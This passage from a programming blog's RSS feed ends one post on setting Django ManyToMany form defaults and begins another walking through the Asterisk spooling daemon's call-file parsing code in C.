&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="s1">&amp;#39;owner&amp;#39;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">form&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cleaned_data&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">teleconference&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">owner&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">form&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cleaned_data&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;owner&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="s1">&amp;#39;bans&amp;#39;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">form&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cleaned_data&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">teleconference&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">bans&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">form&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cleaned_data&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;bans&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">teleconference&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">save&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">defaults&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;name&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">teleconference&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">name&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;did&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">teleconference&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">did&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;owner&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">teleconference&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">owner&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">id&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">teleconference&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">bans&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">defaults&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;bans&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">teleconference&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">bans&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">id&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">form&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">TeleconferenceForm&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">POST&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">instance&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">teleconference&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">variables&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">RequestContext&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">request&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="s1">&amp;#39;form&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">form&lt;/span>&lt;span class="p">})&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">render_to_response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;portal/teleconf/edit.html&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">variables&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The problem in the code above resides on line 24. Attempting to populate the
default values for a ManyToMany field using the &lt;code>id&lt;/code> attribute does not work.&lt;/p>
&lt;p>After a bit of playing around, I was unable to find a solution, so I checked
Google. After ~20 minutes of Google, I was still stuck with the same problem.&lt;/p>
&lt;h2 id="solution">Solution&lt;/h2>
&lt;p>To resolve the issue, and successfully populate the default &lt;code>bans&lt;/code> field
values, I had to do:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">edit_teleconference&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">request&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">id&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">None&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">teleconference&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">get_object_or_404&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">Teleconference&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">id&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="nb">id&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">method&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;POST&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">form&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">TeleconferenceForm&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">POST&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">instance&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">teleconference&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">form&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">is_valid&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="s1">&amp;#39;name&amp;#39;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">form&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cleaned_data&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">teleconference&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">name&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">form&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cleaned_data&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;name&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="s1">&amp;#39;did&amp;#39;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">form&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cleaned_data&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">teleconference&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">did&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">form&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cleaned_data&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;did&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="s1">&amp;#39;owner&amp;#39;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">form&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cleaned_data&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">teleconference&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">owner&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">form&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cleaned_data&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;owner&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="s1">&amp;#39;bans&amp;#39;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">form&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cleaned_data&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">teleconference&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">bans&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">form&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cleaned_data&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;bans&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">teleconference&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">save&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">defaults&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;name&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">teleconference&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">name&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;did&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">teleconference&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">did&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;owner&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">teleconference&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">owner&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">id&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">teleconference&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">bans&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">defaults&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;bans&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">t&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">pk&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">t&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">teleconference&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">bans&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">all&lt;/span>&lt;span class="p">()]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">form&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">TeleconferenceForm&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">POST&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">instance&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">teleconference&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">variables&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">RequestContext&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">request&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="s1">&amp;#39;form&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">form&lt;/span>&lt;span class="p">})&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">render_to_response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;portal/teleconf/edit.html&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">variables&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Which basically passes a list of &lt;code>Caller&lt;/code> &lt;code>id&lt;/code> attributes to the form. While
this now seems an intuitive solution to me, I had a great deal of trouble
initially figuring it out.&lt;/p>
&lt;p>The way that form defaults work for &lt;code>ForeignKey&lt;/code> and &lt;code>ManyToMany&lt;/code> fields is
that they take in either a model&amp;rsquo;s &lt;code>id&lt;/code> attribute for &lt;code>ForeignKey&lt;/code>s, or a list
of model &lt;code>id&lt;/code>s for &lt;code>ManyToMany&lt;/code> fields.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>Populating Django &lt;code>ManyToMany&lt;/code> field default values can be a bit confusing, and
somewhat undocumented. Hopefully the code presented above helps clarify how to
do it properly, and why it works the way it does.&lt;/p></description></item><item><title>The Asterisk Spooling Daemon</title><link>https://rdegges.com/2010/the-asterisk-spooling-daemon/</link><pubDate>Sun, 06 Jun 2010 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2010/the-asterisk-spooling-daemon/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2010/the-asterisk-spooling-daemon/daemon-sketch.png" alt="Daemon Sketch" title="Daemon Sketch">
&lt;/p>
&lt;p>While working on the new V2 release of &lt;a href="http://pycall.org/" title="pycall">pycall&lt;/a>, I was doing some research on
the internal limitations of &lt;a href="http://www.voip-info.org/wiki/view/Asterisk+auto-dial+out" title="Asterisk Call Files Wiki Page">Asterisk call files&lt;/a>, and thought I&amp;rsquo;d share some
interesting (technical) bits of information here.&lt;/p>
&lt;p>All information below has been gathered from the &lt;a href="http://www.asterisk.org/downloads" title="Asterisk Downloads">latest Asterisk release&lt;/a>
(&lt;code>v1.6.2.7&lt;/code>). If you don&amp;rsquo;t do any programming, you may want to skip this
article, as it is a bit geeky.&lt;/p>
&lt;h2 id="brief-overview-of-call-file-code">Brief Overview of Call File Code&lt;/h2>
&lt;p>First of all, it is important to note that Asterisk call files only work when
the Asterisk module &lt;code>pbx_spool.so&lt;/code> is loaded.&lt;/p>
&lt;p>The &lt;code>pbx_spool.so&lt;/code> module (the Asterisk spooling daemon), is a process which
runs and analyzes the Asterisk spooling directory (usually
&lt;code>/var/spool/asterisk/outgoing/&lt;/code>) for new call files. If a call file is found,
then the spooling daemon will process the call file (extracting the
directives), then executing the actions specified.&lt;/p>
&lt;p>So, since we now know how the spooling daemon works, let&amp;rsquo;s take a look at the
source code (in C), and figure out what actually goes on.&lt;/p>
&lt;p>First of all, download the Asterisk source code if you want to follow along:
&lt;a href="http://downloads.asterisk.org/pub/telephony/asterisk/old-releases/asterisk-1.6.2.7.tar.gz" title="Asterisk v1.6.2.7 Tarball">asterisk v1.6.2.7 (tarball)&lt;/a>. Once you extract the code, open up the file
&lt;code>asterisk-1.6.2.7/pbx/pbx_spool.c&lt;/code> in your &lt;a href="http://www.vim.org/" title="Vim Editor">favorite editor&lt;/a>. This file
contains all of the Asterisk code used to parse, launch, and control call
files.&lt;/p>
&lt;p>The first thing you&amp;rsquo;ll notice (being a sensitive best-practices programmer!) is
that there are a &lt;em>ton&lt;/em> of magic numbers being thrown around in here. But let&amp;rsquo;s
just ignore that for now (I&amp;rsquo;m sure the Asterisk guys are working on it) :)&lt;/p>
&lt;p>The two sections of the code which we&amp;rsquo;re going to look at today are the
&lt;code>outgoing&lt;/code> struct, and the &lt;code>apply_outgoing&lt;/code> function. These contain the bulk
of the call file logic, and will help us learn a bit about call file internals.&lt;/p>
&lt;p>Look them over briefly. In the next section, we&amp;rsquo;ll dive right in.&lt;/p>
&lt;h2 id="the-outgoing-struct">The outgoing Struct&lt;/h2>
&lt;p>Let&amp;rsquo;s start out by analyzing the &lt;code>outgoing&lt;/code> struct, shown below (note: I&amp;rsquo;ve
re-done the formatting and comments so that it displays in proper 80-column
width):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="k">struct&lt;/span> &lt;span class="n">outgoing&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">int&lt;/span> &lt;span class="n">retries&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// current number of retries
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">maxretries&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// maximum number of retries permitted
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">retrytime&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// how long to wait between retries (in seconds)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">waittime&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// how long to wait for an answer
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">long&lt;/span> &lt;span class="n">callingpid&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// PID which is currently calling
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">format&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// formats (codecs) for this call
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">AST_DECLARE_STRING_FIELDS&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">AST_STRING_FIELD&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">fn&lt;/span>&lt;span class="p">);&lt;/span> &lt;span class="c1">// file name of the call file
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="nf">AST_STRING_FIELD&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">tech&lt;/span>&lt;span class="p">);&lt;/span> &lt;span class="c1">// which channel technology to use for
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="c1">// outgoing call
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="nf">AST_STRING_FIELD&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">dest&lt;/span>&lt;span class="p">);&lt;/span> &lt;span class="c1">// which line to use for outgoing
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="c1">// call
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="nf">AST_STRING_FIELD&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">app&lt;/span>&lt;span class="p">);&lt;/span> &lt;span class="c1">// if application: Application name
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="nf">AST_STRING_FIELD&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">data&lt;/span>&lt;span class="p">);&lt;/span> &lt;span class="c1">// if application: Application data
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="nf">AST_STRING_FIELD&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">exten&lt;/span>&lt;span class="p">);&lt;/span> &lt;span class="c1">// if extension/context/priority:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="c1">// extension in dialplan
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="nf">AST_STRING_FIELD&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">context&lt;/span>&lt;span class="p">);&lt;/span> &lt;span class="c1">// if extension/context/priority:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="c1">// dialplan context
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="nf">AST_STRING_FIELD&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">cid_num&lt;/span>&lt;span class="p">);&lt;/span> &lt;span class="c1">// callerID information: number
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="nf">AST_STRING_FIELD&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">cid_name&lt;/span>&lt;span class="p">);&lt;/span> &lt;span class="c1">// callerID information: name
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="nf">AST_STRING_FIELD&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">account&lt;/span>&lt;span class="p">);&lt;/span> &lt;span class="c1">// account code
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">int&lt;/span> &lt;span class="n">priority&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// if extension/context/priority: priority
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="k">struct&lt;/span> &lt;span class="n">ast_variable&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">vars&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// variables and functions
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">maxlen&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// maximum length of call
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="k">struct&lt;/span> &lt;span class="n">ast_flags&lt;/span> &lt;span class="n">options&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// options
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This struct holds the directives specified in each call file that the spooling
daemon reads. This means that if your call file looks like:&lt;/p>
&lt;pre tabindex="0">&lt;code>Channel: Local/18002223333@from-internal
Application: Playback
Data: hello-world
&lt;/code>&lt;/pre>&lt;p>Then the struct will set: &lt;code>tech = &amp;quot;Local&amp;quot;&lt;/code>,
&lt;code>dest = &amp;quot;18002223333@from-internal&amp;quot;&lt;/code>, &lt;code>app = &amp;quot;Playback&amp;quot;&lt;/code>, and
&lt;code>data = &amp;quot;hello-world&amp;quot;&lt;/code>.&lt;/p>
&lt;p>Internally, Asterisk uses this struct throughout the &lt;code>pbx_spool.c&lt;/code> module, as a
way to store individual call file states and track statuses.&lt;/p>
&lt;h2 id="how-the-spooling-daemon-works">How The Spooling Daemon Works&lt;/h2>
&lt;p>Now, when users create a call file, the spooling daemon will process that file.
But how does it do it? Now that we&amp;rsquo;ve seen &lt;code>struct outgoing&lt;/code>, let&amp;rsquo;s look at
the &lt;code>apply_outgoing&lt;/code> function which parses call files, and populates an
&lt;code>outgoing&lt;/code> struct while verifying that all lines are syntactically correct.&lt;/p>
&lt;p>This will give us insight into which directives are allowed in call files (and
which variations raise errors).&lt;/p>
&lt;p>Here is the &lt;code>apply_outgoing&lt;/code> function cleaned up for clarity:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="k">static&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="nf">apply_outgoing&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">struct&lt;/span> &lt;span class="n">outgoing&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">char&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">fn&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">FILE&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">f&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cm">/*
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> * Parse the `outgoing` struct, clean up any lingering whitespace, and
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> * verify that all directives are syntactically correct. Logs errors as
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> * it finds them.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">char&lt;/span> &lt;span class="n">buf&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">256&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">char&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">c2&lt;/span>&lt;span class="p">;&lt;/span>
